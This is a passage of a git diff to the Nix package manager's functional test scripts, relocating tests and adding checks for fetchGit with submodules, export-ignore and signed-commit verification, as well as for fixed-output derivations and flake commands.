"$status" = "102" ]] @@ -180,11 +199,7 @@ path5=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = $repo; ref = # Nuke the cache rm -rf $TEST_HOME/.cache/nix -# Try again, but without 'git' on PATH. This should fail. -NIX=$(command -v nix) -(! PATH= $NIX eval --impure --raw --expr "(builtins.fetchGit { url = $repo; ref = \"dev\"; }).outPath" ) - -# Try again, with 'git' available. This should work. +# Try again. This should work. path5=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = $repo; ref = \"dev\"; }).outPath") [[ $path3 = $path5 ]] @@ -206,6 +221,8 @@ path6=$(nix eval --impure --raw --expr "(builtins.fetchTree { type = \"git\"; ur [[ $path3 = $path6 ]] [[ $(nix eval --impure --expr "(builtins.fetchTree { type = \"git\"; url = \"file://$TEST_ROOT/shallow\"; ref = \"dev\"; shallow = true; }).revCount or 123") == 123 ]] +expectStderr 1 nix eval --expr 'builtins.fetchTree { type = "git"; url = "file:///foo"; }' | grepQuiet "'fetchTree' will not fetch unlocked input" + # Explicit ref = "HEAD" should work, and produce the same outPath as without ref path7=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repo\"; ref = \"HEAD\"; }).outPath") path8=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repo\"; }).outPath") @@ -230,10 +247,63 @@ rev_tag2=$(git -C $repo rev-parse refs/tags/tag2) [[ $rev_tag2_nix = $rev_tag2 ]] unset _NIX_FORCE_HTTP +# Ensure .gitattributes is respected +touch $repo/not-exported-file +touch $repo/exported-wonky +echo "/not-exported-file export-ignore" >> $repo/.gitattributes +echo "/exported-wonky export-ignore=wonk" >> $repo/.gitattributes +git -C $repo add not-exported-file exported-wonky .gitattributes +git -C $repo commit -m 'Bla6' +rev5=$(git -C $repo rev-parse HEAD) +path12=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = file://$repo; rev = \"$rev5\"; }).outPath") +[[ ! -e $path12/not-exported-file ]] +[[ -e $path12/exported-wonky ]] + # should fail if there is no repo rm -rf $repo/.git +rm -rf $TEST_HOME/.cache/nix (! nix eval --impure --raw --expr "(builtins.fetchGit \"file://$repo\").outPath") # should succeed for a repo without commits git init $repo +git -C $repo add hello # need to add at least one file to cause the root of the repo to be visible path10=$(nix eval --impure --raw --expr "(builtins.fetchGit \"file://$repo\").outPath") + +# should succeed for a path with a space +# regression test for #7707 +repo="$TEST_ROOT/a b" +git init "$repo" +git -C "$repo" config user.email "foobar@example.com" +git -C "$repo" config user.name "Foobar" + +echo utrecht > "$repo/hello" +touch "$repo/.gitignore" +git -C "$repo" add hello .gitignore +git -C "$repo" commit -m 'Bla1' +cd "$repo" +path11=$(nix eval --impure --raw --expr "(builtins.fetchGit ./.).outPath") + +# Test a workdir with no commits. +empty="$TEST_ROOT/empty" +git init "$empty" + +emptyAttrs='{ lastModified = 0; lastModifiedDate = "19700101000000"; narHash = "sha256-pQpattmS9VmO3ZIQUFn66az8GSmB4IvYhTTCFn6SUmo="; rev = "0000000000000000000000000000000000000000"; revCount = 0; shortRev = "0000000"; submodules = false; }' + +[[ $(nix eval --impure --expr "builtins.removeAttrs (builtins.fetchGit $empty) [\"outPath\"]") = $emptyAttrs ]] + +echo foo > "$empty/x" + +[[ $(nix eval --impure --expr "builtins.removeAttrs (builtins.fetchGit $empty) [\"outPath\"]") = $emptyAttrs ]] + +git -C "$empty" add x + +[[ $(nix eval --impure --expr "builtins.removeAttrs (builtins.fetchGit $empty) [\"outPath\"]") = '{ lastModified = 0; lastModifiedDate = "19700101000000"; narHash = "sha256-wzlAGjxKxpaWdqVhlq55q5Gxo4Bf860+kLeEa/v02As="; rev = "0000000000000000000000000000000000000000"; revCount = 0; shortRev = "0000000"; submodules = false; }' ]] + +# Test a repo with an empty commit. +git -C "$empty" rm -f x + +git -C "$empty" config user.email "foobar@example.com" +git -C "$empty" config user.name "Foobar" +git -C "$empty" commit --allow-empty --allow-empty-message --message "" + +nix eval --impure --expr "let attrs = builtins.fetchGit $empty; in assert attrs.lastModified != 0; assert attrs.rev != \"0000000000000000000000000000000000000000\"; assert attrs.revCount == 1; true" diff --git a/tests/fetchGitRefs.sh b/tests/functional/fetchGitRefs.sh old mode 100644 new mode 100755 similarity index 92% rename from tests/fetchGitRefs.sh rename to tests/functional/fetchGitRefs.sh index 52926040b..ee054fabc --- a/tests/fetchGitRefs.sh +++ b/tests/functional/fetchGitRefs.sh @@ -1,11 +1,10 @@ +#!/usr/bin/env bash + source common.sh -if [[ -z $(type -p git) ]]; then - echo "Git not installed; skipping Git tests" - exit 99 -fi +requireGit -clearStore +clearStoreIfPossible repo="$TEST_ROOT/git" @@ -15,7 +14,7 @@ git init "$repo" git -C "$repo" config user.email "foobar@example.com" git -C "$repo" config user.name "Foobar" -echo utrecht > "$repo"/hello +echo utrecht > "$repo/hello" git -C "$repo" add hello git -C "$repo" commit -m 'Bla1' @@ -56,7 +55,7 @@ invalid_ref() { else (! git check-ref-format --branch "$1" >/dev/null 2>&1) fi - nix --debug eval --raw --impure --expr "(builtins.fetchGit { url = $repo; ref = ''$1''; }).outPath" 2>&1 | grep 'invalid Git branch/tag name' >/dev/null + expect 1 nix --debug eval --raw --impure --expr "(builtins.fetchGit { url = $repo; ref = ''$1''; }).outPath" 2>&1 | grep 'invalid Git branch/tag name' >/dev/null } diff --git a/tests/functional/fetchGitSubmodules.sh b/tests/functional/fetchGitSubmodules.sh new file mode 100755 index 000000000..4a3e4c347 --- /dev/null +++ b/tests/functional/fetchGitSubmodules.sh @@ -0,0 +1,216 @@ +#!/usr/bin/env bash + +source common.sh + +set -u + +requireGit + +clearStoreIfPossible + +rootRepo=$TEST_ROOT/gitSubmodulesRoot +subRepo=$TEST_ROOT/gitSubmodulesSub + +rm -rf ${rootRepo} ${subRepo} $TEST_HOME/.cache/nix + +# Submodules can't be fetched locally by default, which can cause +# information leakage vulnerabilities, but for these tests our +# submodule is intentionally local and it's all trusted, so we +# disable this restriction. Setting it per repo is not sufficient, as +# the repo-local config does not apply to the commands run from +# outside the repos by Nix. +export XDG_CONFIG_HOME=$TEST_HOME/.config +git config --global protocol.file.allow always + +initGitRepo() { + git init $1 + git -C $1 config user.email "foobar@example.com" + git -C $1 config user.name "Foobar" +} + +addGitContent() { + echo "lorem ipsum" > $1/content + git -C $1 add content + git -C $1 commit -m "Initial commit" +} + +initGitRepo $subRepo +addGitContent $subRepo + +initGitRepo $rootRepo + +git -C $rootRepo submodule init +git -C $rootRepo submodule add $subRepo sub +git -C $rootRepo add sub +git -C $rootRepo commit -m "Add submodule" + +rev=$(git -C $rootRepo rev-parse HEAD) + +r1=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; }).outPath") +r2=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; submodules = false; }).outPath") +r3=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; submodules = true; }).outPath") + +[[ $r1 == $r2 ]] +[[ $r2 != $r3 ]] + +r4=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; ref = \"master\"; rev = \"$rev\"; }).outPath") +r5=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; ref = \"master\"; rev = \"$rev\"; submodules = false; }).outPath") +r6=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; ref = \"master\"; rev = \"$rev\"; submodules = true; }).outPath") +r7=$(nix eval --raw --expr "(builtins.fetchGit { url = $rootRepo; ref = \"master\"; rev = \"$rev\"; submodules = true; }).outPath") +r8=$(nix eval --raw --expr "(builtins.fetchGit { url = $rootRepo; rev = \"$rev\"; submodules = true; }).outPath") + +[[ $r1 == $r4 ]] +[[ $r4 == $r5 ]] +[[ $r3 == $r6 ]] +[[ $r6 == $r7 ]] +[[ $r7 == $r8 ]] + +have_submodules=$(nix eval --expr "(builtins.fetchGit { url = $rootRepo; rev = \"$rev\"; }).submodules") +[[ $have_submodules == false ]] + +have_submodules=$(nix eval --expr "(builtins.fetchGit { url = $rootRepo; rev = \"$rev\"; submodules = false; }).submodules") +[[ $have_submodules == false ]] + +have_submodules=$(nix eval --expr "(builtins.fetchGit { url = $rootRepo; rev = \"$rev\"; submodules = true; }).submodules") +[[ $have_submodules == true ]] + +pathWithoutSubmodules=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; }).outPath") +pathWithSubmodules=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; submodules = true; }).outPath") +pathWithSubmodulesAgain=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev\"; submodules = true; }).outPath") +pathWithSubmodulesAgainWithRef=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; ref = \"master\"; rev = \"$rev\"; submodules = true; }).outPath") + +# The resulting store path cannot be the same. +[[ $pathWithoutSubmodules != $pathWithSubmodules ]] + +# Checking out the same repo with submodules returns in the same store path. +[[ $pathWithSubmodules == $pathWithSubmodulesAgain ]] + +# Checking out the same repo with submodules returns in the same store path. +[[ $pathWithSubmodulesAgain == $pathWithSubmodulesAgainWithRef ]] + +# The submodules flag is actually honored. +[[ ! -e $pathWithoutSubmodules/sub/content ]] +[[ -e $pathWithSubmodules/sub/content ]] + +[[ -e $pathWithSubmodulesAgainWithRef/sub/content ]] + +# No .git directory or submodule reference files must be left +test "$(find "$pathWithSubmodules" -name .git)" = "" + +# Git repos without submodules can be fetched with submodules = true. +subRev=$(git -C $subRepo rev-parse HEAD) +noSubmoduleRepoBaseline=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$subRepo; rev = \"$subRev\"; }).outPath") +noSubmoduleRepo=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$subRepo; rev = \"$subRev\"; submodules = true; }).outPath") + +[[ $noSubmoduleRepoBaseline == $noSubmoduleRepo ]] + +# Test relative submodule URLs. +rm $TEST_HOME/.cache/nix/fetcher-cache* +rm -rf $rootRepo/.git $rootRepo/.gitmodules $rootRepo/sub +initGitRepo $rootRepo +git -C $rootRepo submodule add ../gitSubmodulesSub sub +git -C $rootRepo commit -m "Add submodule" +rev2=$(git -C $rootRepo rev-parse HEAD) +pathWithRelative=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$rootRepo; rev = \"$rev2\"; submodules = true; }).outPath") +diff -r -x .gitmodules $pathWithSubmodules $pathWithRelative + +# Test clones that have an upstream with relative submodule URLs. +rm $TEST_HOME/.cache/nix/fetcher-cache* +cloneRepo=$TEST_ROOT/a/b/gitSubmodulesClone # NB /a/b to make the relative path not work relative to $cloneRepo +git clone $rootRepo $cloneRepo +pathIndirect=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$cloneRepo; rev = \"$rev2\"; submodules = true; }).outPath") +[[ $pathIndirect = $pathWithRelative ]] + +# Test submodule export-ignore interaction +git -C $rootRepo/sub config user.email "foobar@example.com" +git -C $rootRepo/sub config user.name "Foobar" + +echo "/exclude-from-root export-ignore" >> $rootRepo/.gitattributes +# TBD possible semantics for submodules + exportIgnore +# echo "/sub/exclude-deep export-ignore" >> $rootRepo/.gitattributes +echo nope > $rootRepo/exclude-from-root +git -C $rootRepo add .gitattributes exclude-from-root +git -C $rootRepo commit -m "Add export-ignore" + +echo "/exclude-from-sub export-ignore" >> $rootRepo/sub/.gitattributes +echo nope > $rootRepo/sub/exclude-from-sub +# TBD possible semantics for submodules + exportIgnore +# echo aye > $rootRepo/sub/exclude-from-root +git -C $rootRepo/sub add .gitattributes exclude-from-sub +git -C $rootRepo/sub commit -m "Add export-ignore (sub)" + +git -C $rootRepo add sub +git -C $rootRepo commit -m "Update submodule" + +git -C $rootRepo status + +# # TBD: not supported yet, because semantics are undecided and current implementation leaks rules from the root to submodules +# # exportIgnore can be used with submodules +# pathWithExportIgnore=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = file://$rootRepo; submodules = true; exportIgnore = true; }).outPath") +# # find $pathWithExportIgnore +# # git -C $rootRepo archive --format=tar HEAD | tar -t +# # cp -a $rootRepo /tmp/rootRepo + +# [[ -e $pathWithExportIgnore/sub/content ]] +# [[ ! -e $pathWithExportIgnore/exclude-from-root ]] +# [[ ! -e $pathWithExportIgnore/sub/exclude-from-sub ]] +# TBD possible semantics for submodules + exportIgnore +# # root .gitattribute has no power across submodule boundary +# [[ -e $pathWithExportIgnore/sub/exclude-from-root ]] +# [[ -e $pathWithExportIgnore/sub/exclude-deep ]] + + +# exportIgnore can be explicitly disabled with submodules +pathWithoutExportIgnore=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = file://$rootRepo; submodules = true; exportIgnore = false; }).outPath") +# find $pathWithoutExportIgnore + +[[ -e $pathWithoutExportIgnore/exclude-from-root ]] +[[ -e $pathWithoutExportIgnore/sub/exclude-from-sub ]] + +# exportIgnore defaults to false when submodules = true +pathWithSubmodules=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = file://$rootRepo; submodules = true; }).outPath") + +[[ -e $pathWithoutExportIgnore/exclude-from-root ]] +[[ -e $pathWithoutExportIgnore/sub/exclude-from-sub ]] + +test_submodule_nested() { + local repoA=$TEST_ROOT/submodule_nested/a + local repoB=$TEST_ROOT/submodule_nested/b + local repoC=$TEST_ROOT/submodule_nested/c + + rm -rf $repoA $repoB $repoC $TEST_HOME/.cache/nix + + initGitRepo $repoC + touch $repoC/inside-c + git -C $repoC add inside-c + addGitContent $repoC + + initGitRepo $repoB + git -C $repoB submodule add $repoC c + git -C $repoB add c + addGitContent $repoB + + initGitRepo $repoA + git -C $repoA submodule add $repoB b + git -C $repoA add b + addGitContent $repoA + + + # Check non-worktree fetch + local rev=$(git -C $repoA rev-parse HEAD) + out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; rev = \"$rev\"; submodules = true; }).outPath") + test -e $out/b/c/inside-c + test -e $out/content + test -e $out/b/content + test -e $out/b/c/content + local nonWorktree=$out + + # Check worktree based fetch + # TODO: make it work without git submodule update + git -C $repoA submodule update --init --recursive + out=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = \"file://$repoA\"; submodules = true; }).outPath") + find $out + [[ $out == $nonWorktree ]] || { find $out; false; } + +} +test_submodule_nested diff --git a/tests/functional/fetchGitVerification.sh b/tests/functional/fetchGitVerification.sh new file mode 100755 index 000000000..4012d8229 --- /dev/null +++ b/tests/functional/fetchGitVerification.sh @@ -0,0 +1,84 @@ +#!/usr/bin/env bash + +source common.sh + +requireGit +[[ $(type -p ssh-keygen) ]] || skipTest "ssh-keygen not installed" # require ssh-keygen + +enableFeatures "verified-fetches" + +clearStoreIfPossible + +repo="$TEST_ROOT/git" + +# generate signing keys +keysDir=$TEST_ROOT/.ssh +mkdir -p "$keysDir" +ssh-keygen -f "$keysDir/testkey1" -t ed25519 -P "" -C "test key 1" +key1File="$keysDir/testkey1.pub" +publicKey1=$(awk '{print $2}' "$key1File") +ssh-keygen -f "$keysDir/testkey2" -t rsa -P "" -C "test key 2" +key2File="$keysDir/testkey2.pub" +publicKey2=$(awk '{print $2}' "$key2File") + +git init $repo +git -C $repo config user.email "foobar@example.com" +git -C $repo config user.name "Foobar" +git -C $repo config gpg.format ssh + +echo 'hello' > $repo/text +git -C $repo add text +git -C $repo -c "user.signingkey=$key1File" commit -S -m 'initial commit' + +out=$(nix eval --impure --raw --expr "builtins.fetchGit { url = \"file://$repo\"; keytype = \"ssh-rsa\"; publicKey = \"$publicKey2\"; }" 2>&1) || status=$? +[[ $status == 1 ]] +[[ $out =~ 'No principal matched.' ]] +[[ $(nix eval --impure --raw --expr "builtins.readFile (builtins.fetchGit { url = \"file://$repo\"; publicKey = \"$publicKey1\"; } + \"/text\")") = 'hello' ]] + +echo 'hello world' > $repo/text + +# Verification on a dirty repo should fail. +out=$(nix eval --impure --raw --expr "builtins.fetchGit { url = \"file://$repo\"; keytype = \"ssh-rsa\"; publicKey = \"$publicKey2\"; }" 2>&1) || status=$? +[[ $status == 1 ]] +[[ $out =~ 'dirty' ]] + +git -C $repo add text +git -C $repo -c "user.signingkey=$key2File" commit -S -m 'second commit' + +[[ $(nix eval --impure --raw --expr "builtins.readFile (builtins.fetchGit { url = \"file://$repo\"; publicKeys = [{key = \"$publicKey1\";} {type = \"ssh-rsa\"; key = \"$publicKey2\";}]; } + \"/text\")") = 'hello world' ]] + +# Flake input test +flakeDir="$TEST_ROOT/flake" +mkdir -p "$flakeDir" +cat > "$flakeDir/flake.nix" < "$flakeDir/flake.nix" <&1) || status=$? +[[ $status == 1 ]] +[[ $out =~ 'No principal matched.' ]] diff --git a/tests/fetchMercurial.sh b/tests/functional/fetchMercurial.sh old mode 100644 new mode 100755 similarity index 97% rename from tests/fetchMercurial.sh rename to tests/functional/fetchMercurial.sh index 5c64ffd26..6de192865 --- a/tests/fetchMercurial.sh +++ b/tests/functional/fetchMercurial.sh @@ -1,9 +1,10 @@ +#!/usr/bin/env bash + source common.sh -if [[ -z $(type -p hg) ]]; then - echo "Mercurial not installed; skipping Mercurial tests" - exit 99 -fi +[[ $(type -p hg) ]] || skipTest "Mercurial not installed" + +TODO_NixOS clearStore @@ -104,6 +105,7 @@ path4=$(nix eval --impure --refresh --raw --expr "(builtins.fetchMercurial file: [[ $path2 = $path4 ]] echo paris > $repo/hello + # Passing a `name` argument should be reflected in the output path path5=$(nix eval -vvvvv --impure --refresh --raw --expr "(builtins.fetchMercurial { url = \"file://$repo\"; name = \"foo\"; } ).outPath") [[ $path5 =~ -foo$ ]] diff --git a/tests/fetchPath.sh b/tests/functional/fetchPath.sh old mode 100644 new mode 100755 similarity index 82% rename from tests/fetchPath.sh rename to tests/functional/fetchPath.sh index 29be38ce2..560a270c1 --- a/tests/fetchPath.sh +++ b/tests/functional/fetchPath.sh @@ -1,6 +1,8 @@ +#!/usr/bin/env bash + source common.sh -touch $TEST_ROOT/foo -t 202211111111 +touch "$TEST_ROOT/foo" -t 202211111111 # We only check whether 2022-11-1* **:**:** is the last modified date since # `lastModified` is transformed into UTC in `builtins.fetchTarball`. [[ "$(nix eval --impure --raw --expr "(builtins.fetchTree \"path://$TEST_ROOT/foo\").lastModifiedDate")" =~ 2022111.* ]] diff --git a/tests/fetchTree-file.sh b/tests/functional/fetchTree-file.sh old mode 100644 new mode 100755 similarity index 81% rename from tests/fetchTree-file.sh rename to tests/functional/fetchTree-file.sh index f0c530466..66be928c7 --- a/tests/fetchTree-file.sh +++ b/tests/functional/fetchTree-file.sh @@ -1,5 +1,9 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + clearStore cd "$TEST_ROOT" @@ -14,6 +18,7 @@ test_fetch_file () { tree = builtins.fetchTree { type = "file"; url = "file://$PWD/test_input"; }; in assert (tree.narHash == "$input_hash"); + assert builtins.readFile tree == "foo\n"; tree EOF } @@ -27,6 +32,7 @@ test_file_flake_input () { mkdir inputs echo foo > inputs/test_input_file + echo '{ outputs = { self }: { }; }' > inputs/flake.nix tar cfa test_input.tar.gz inputs cp test_input.tar.gz test_input_no_ext input_tarball_hash="$(nix hash path test_input.tar.gz)" @@ -50,6 +56,9 @@ test_file_flake_input () { url = "file+file://$PWD/test_input.tar.gz"; flake = false; }; + inputs.flake_no_ext = { + url = "file://$PWD/test_input_no_ext"; + }; outputs = { ... }: {}; } EOF @@ -58,7 +67,7 @@ EOF nix eval --file - <' --argstr url file://$nar --argstr sha256 $hash \ --arg unpack true --argstr name xyzzy --no-out-link) -echo $outPath | grep -q 'xyzzy' +echo $outPath | grepQuiet 'xyzzy' test -x $outPath/fetchurl.sh test -L $outPath/symlink @@ -78,3 +82,9 @@ outPath=$(nix-build -vvvvv --expr 'import ' --argstr url file: test -x $outPath/fetchurl.sh test -L $outPath/symlink + +# Make sure that *not* passing a outputHash fails. +requireDaemonNewerThan "2.20" +expected=100 +if [[ -v NIX_DAEMON_PACKAGE ]]; then expected=1; fi # work around the daemon not returning a 100 status correctly +expectStderr $expected nix-build --expr '{ url }: builtins.derivation { name = "nix-cache-info"; system = "x86_64-linux"; builder = "builtin:fetchurl"; inherit url; outputHashMode = "flat"; }' --argstr url file://$narxz 2>&1 | grep 'must be a fixed-output or impure derivation' diff --git a/tests/filter-source.nix b/tests/functional/filter-source.nix similarity index 100% rename from tests/filter-source.nix rename to tests/functional/filter-source.nix diff --git a/tests/functional/filter-source.sh b/tests/functional/filter-source.sh new file mode 100755 index 000000000..b32f5b59d --- /dev/null +++ b/tests/functional/filter-source.sh @@ -0,0 +1,27 @@ +#!/usr/bin/env bash + +source common.sh + +rm -rf "$TEST_ROOT/filterin" +mkdir "$TEST_ROOT/filterin" +mkdir "$TEST_ROOT/filterin/foo" +touch "$TEST_ROOT/filterin/foo/bar" +touch "$TEST_ROOT/filterin/xyzzy" +touch "$TEST_ROOT/filterin/b" +touch "$TEST_ROOT/filterin/bak" +touch "$TEST_ROOT"/filterin/bla.c.bak +ln -s xyzzy "$TEST_ROOT/filterin/link" + +checkFilter() { + test ! -e "$1/foo/bar" + test -e "$1/xyzzy" + test -e "$1/bak" + test ! -e "$1"/bla.c.bak + test ! -L "$1/link" +} + +nix-build ./filter-source.nix -o "$TEST_ROOT/filterout1" +checkFilter "$TEST_ROOT/filterout1" + +nix-build ./path.nix -o "$TEST_ROOT/filterout2" +checkFilter "$TEST_ROOT/filterout2" diff --git a/tests/fixed.builder1.sh b/tests/functional/fixed.builder1.sh similarity index 100% rename from tests/fixed.builder1.sh rename to tests/functional/fixed.builder1.sh diff --git a/tests/fixed.builder2.sh b/tests/functional/fixed.builder2.sh similarity index 100% rename from tests/fixed.builder2.sh rename to tests/functional/fixed.builder2.sh diff --git a/tests/fixed.nix b/tests/functional/fixed.nix similarity index 82% rename from tests/fixed.nix rename to tests/functional/fixed.nix index babe71504..a920a2167 100644 --- a/tests/fixed.nix +++ b/tests/functional/fixed.nix @@ -48,6 +48,15 @@ rec { (f ./fixed.builder1.sh "flat" "md5" "ddd8be4b179a529afa5f2ffae4b9858") ]; + badReferences = mkDerivation rec { + name = "bad-hash"; + builder = script; + script = builtins.toFile "installer.sh" "echo $script >$out"; + outputHash = "1ixr6yd3297ciyp9im522dfxpqbkhcw0pylkb2aab915278fqaik"; + outputHashAlgo = "sha256"; + outputHashMode = "flat"; + }; + # Test for building two derivations in parallel that produce the # same output path because they're fixed-output derivations. parallelSame = [ @@ -55,4 +64,6 @@ rec { (f2 "bar" ./fixed.builder2.sh "recursive" "md5" "3670af73070fa14077ad74e0f5ea4e42") ]; + # Can use "nar" instead of "recursive" now. + nar-not-recursive = f2 "foo" ./fixed.builder2.sh "nar" "md5" "3670af73070fa14077ad74e0f5ea4e42"; } diff --git a/tests/fixed.sh b/tests/functional/fixed.sh old mode 100644 new mode 100755 similarity index 82% rename from tests/fixed.sh rename to tests/functional/fixed.sh index f1e1ce420..d98769e64 --- a/tests/fixed.sh +++ b/tests/functional/fixed.sh @@ -1,5 +1,9 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + clearStore path=$(nix-store -q $(nix-instantiate fixed.nix -A good.0)) @@ -26,6 +30,11 @@ nix-build fixed.nix -A good2 --no-out-link echo 'testing reallyBad...' nix-instantiate fixed.nix -A reallyBad && fail "should fail" +if isDaemonNewer "2.20pre20240108"; then + echo 'testing fixed with references...' + expectStderr 1 nix-build fixed.nix -A badReferences | grepQuiet "not allowed to refer to other store paths" +fi + # While we're at it, check attribute selection a bit more. echo 'testing attribute selection...' test $(nix-instantiate fixed.nix -A good.1 | wc -l) = 1 @@ -56,3 +65,7 @@ out3=$(nix-store --add-fixed --recursive sha256 $TEST_ROOT/fixed) out4=$(nix-store --print-fixed-path --recursive sha256 "1ixr6yd3297ciyp9im522dfxpqbkhcw0pylkb2aab915278fqaik" fixed) [ "$out" = "$out4" ] + +# Can use `outputHashMode = "nar";` instead of `"recursive"` now. +clearStore +nix-build fixed.nix -A nar-not-recursive --no-out-link diff --git a/tests/functional/flakes/absolute-attr-paths.sh b/tests/functional/flakes/absolute-attr-paths.sh new file mode 100755 index 000000000..b0e6225d8 --- /dev/null +++ b/tests/functional/flakes/absolute-attr-paths.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash + +source ./common.sh + +flake1Dir=$TEST_ROOT/flake1 + +mkdir -p "$flake1Dir" +cat > "$flake1Dir"/flake.nix < "$flake1Dir"/flake.nix < \$foo/file + echo "out" > \$out/file + ''; + }; + in top // { + foo = top.foo // { + outputSpecified = true; + }; + }; + }; +} +EOF + +cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/" + +echo bar > "$flake1Dir/foo" + +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a1" +[[ -e $TEST_ROOT/result/simple.nix ]] + +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a2" +[[ $(cat "$TEST_ROOT/result") = bar ]] + +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a3" + +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a4" + +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a6" +[[ -e $TEST_ROOT/result/simple.nix ]] + +nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a8" +diff common.sh "$TEST_ROOT/result" + +expectStderr 1 nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a9" \ + | grepQuiet "has 0 entries in its context. It should only have exactly one entry" + +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir"#a10 +[[ $(readlink -e "$TEST_ROOT/result") = *simple.drv ]] + +expectStderr 1 nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a11" \ + | grepQuiet "has a context which refers to a complete source and binary closure" + +nix build --json --out-link "$TEST_ROOT/result" "$flake1Dir#a12" +[[ -e $TEST_ROOT/result/hello ]] + +expectStderr 1 nix build --impure --json --out-link "$TEST_ROOT/result" "$flake1Dir#a13" \ + | grepQuiet "has 2 entries in its context. It should only have exactly one entry" + +# Test accessing output in installables with `.` (foobarbaz.) +nix build --json --no-link "$flake1Dir"#a14.foo | jq --exit-status ' + (.[0] | + (.drvPath | match(".*dot-installable.drv")) and + (.outputs | keys == ["foo"])) +' diff --git a/tests/flakes/bundle.sh b/tests/functional/flakes/bundle.sh old mode 100644 new mode 100755 similarity index 54% rename from tests/flakes/bundle.sh rename to tests/functional/flakes/bundle.sh index 67bbb05ac..5e185cbf6 --- a/tests/flakes/bundle.sh +++ b/tests/functional/flakes/bundle.sh @@ -1,8 +1,10 @@ +#!/usr/bin/env bash + source common.sh -cp ../simple.nix ../simple.builder.sh ../config.nix $TEST_HOME +cp ../simple.nix ../simple.builder.sh ../config.nix "$TEST_HOME" -cd $TEST_HOME +cd "$TEST_HOME" cat < flake.nix { @@ -25,8 +27,8 @@ EOF nix build .# nix bundle --bundler .# .# -nix bundle --bundler .#bundlers.$system.default .#packages.$system.default -nix bundle --bundler .#bundlers.$system.simple .#packages.$system.default +nix bundle --bundler .#bundlers."$system".default .#packages."$system".default +nix bundle --bundler .#bundlers."$system".simple .#packages."$system".default -nix bundle --bundler .#bundlers.$system.default .#apps.$system.default -nix bundle --bundler .#bundlers.$system.simple .#apps.$system.default +nix bundle --bundler .#bundlers."$system".default .#apps."$system".default +nix bundle --bundler .#bundlers."$system".simple .#apps."$system".default diff --git a/tests/functional/flakes/check.sh b/tests/functional/flakes/check.sh new file mode 100755 index 000000000..27e73444a --- /dev/null +++ b/tests/functional/flakes/check.sh @@ -0,0 +1,137 @@ +#!/usr/bin/env bash + +source common.sh + +flakeDir=$TEST_ROOT/flake3 +mkdir -p $flakeDir + +cat > $flakeDir/flake.nix < $flakeDir/flake.nix < $flakeDir/flake.nix <&1 && fail "nix flake check --all-systems should have failed" || true) +echo "$checkRes" | grepQuiet "error: overlay is not a function, but a set instead" + +cat > $flakeDir/flake.nix < $flakeDir/flake.nix < $flakeDir/flake.nix < $flakeDir/flake.nix <&1 && fail "nix flake check --all-systems should have failed" || true) +echo "$checkRes" | grepQuiet "packages.system-1.default" +echo "$checkRes" | grepQuiet "packages.system-2.default" + +cat > $flakeDir/flake.nix < $flakeDir/flake.nix <&1 && fail "nix flake check --all-systems should have failed" || true) +echo "$checkRes" | grepQuiet "unknown-attr" + +cat > $flakeDir/flake.nix <&1 && fail "nix flake check --all-systems should have failed" || true) +echo "$checkRes" | grepQuiet "formatter.system-1" diff --git a/tests/functional/flakes/circular.sh b/tests/functional/flakes/circular.sh new file mode 100755 index 000000000..5304496ba --- /dev/null +++ b/tests/functional/flakes/circular.sh @@ -0,0 +1,52 @@ +#!/usr/bin/env bash + +# Test circular flake dependencies. +source ./common.sh + +requireGit + +flakeA=$TEST_ROOT/flakeA +flakeB=$TEST_ROOT/flakeB + +createGitRepo "$flakeA" +createGitRepo "$flakeB" + +cat > "$flakeA"/flake.nix < "$flakeB"/flake.nix < $flakeDir/flake.nix <$TEST_HOME/flake.nix +{ + inputs.nixpkgs.url = "$TEST_HOME/nixpkgs"; + outputs = {self, nixpkgs}: { + packages.$system.hello = (import ./config.nix).mkDerivation { + name = "hello"; + outputs = [ "out" "dev" ]; + meta.outputsToInstall = [ "out" ]; + buildCommand = ""; + }; + }; +} +EOF + +# Create fake nixpkgs flake. +mkdir -p $TEST_HOME/nixpkgs +cp ../config.nix ../shell.nix $TEST_HOME/nixpkgs +cat <$TEST_HOME/nixpkgs/flake.nix +{ + outputs = {self}: { + legacyPackages.$system.bashInteractive = (import ./shell.nix {}).bashInteractive; + }; +} +EOF + +cd $TEST_HOME + +# Test whether `nix develop` passes through environment variables. +[[ "$( + ENVVAR=a nix develop --no-write-lock-file .#hello <"$flake1Dir/flake.nix" < \$out + ''; + }; + ifd = assert 